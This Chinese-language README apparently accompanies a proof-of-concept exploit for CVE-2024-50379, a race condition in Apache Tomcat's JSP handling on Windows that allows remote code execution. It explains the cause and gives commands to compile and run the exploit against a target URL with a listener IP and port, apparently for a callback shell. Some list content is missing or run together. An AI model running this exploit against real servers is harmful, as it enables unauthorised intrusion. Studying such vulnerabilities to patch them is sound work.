此存储库提供了针对 Apache Tomcat 中 CVE-2024-50379 的概念验证(PoC)利用程序,该漏洞是一个时间检查-时间使用(TOCTOU)竞态条件,可导致远程代码执行(RCE)。
注意:如果 readonly 初始化参数设置为 false(默认值为 true),则此漏洞仅影响 Windows 系统。这是一种配置弱点与 CVE-2024-50379 相结合的情况。
此漏洞由 JSP 编译缓存(org.apache.jasper.servlet.JspServlet)中的竞态条件引起。该问题源于不区分大小写的文件系统(例如 Windows 上的 NTFS)与 Tomcat 的大小写敏感缓存处理之间的不匹配。
shell.jsp)此 PoC 利用两个不同 JSP 变体之间的竞态条件:
shell.jsp — 开发人员提供/授权的 JSP 文件shell.jsp. — 利用 Windows 短文件名/尾部点变体来绕过检查Apache 已发布以下版本,其中包含对此 CVE 的修复:
强烈建议更新至相应的补丁版本。
readonly=false 配置# 编译利用程序
javac ExploitCVE202450379.java
# 运行利用程序
java ExploitCVE202450379 <target-url> <local-ip> <local-port>
示例:
java ExploitCVE202450379 http://192.168.1.100:8080/ 192.168.1.50 4444
此工具仅用于教育目的。 未经明确许可对系统进行未经授权的访问是非法的。对于因使用此 PoC 而导致的任何不当使用或损害,作者不承担任何责任。
如果您觉得此工具很有用,请考虑: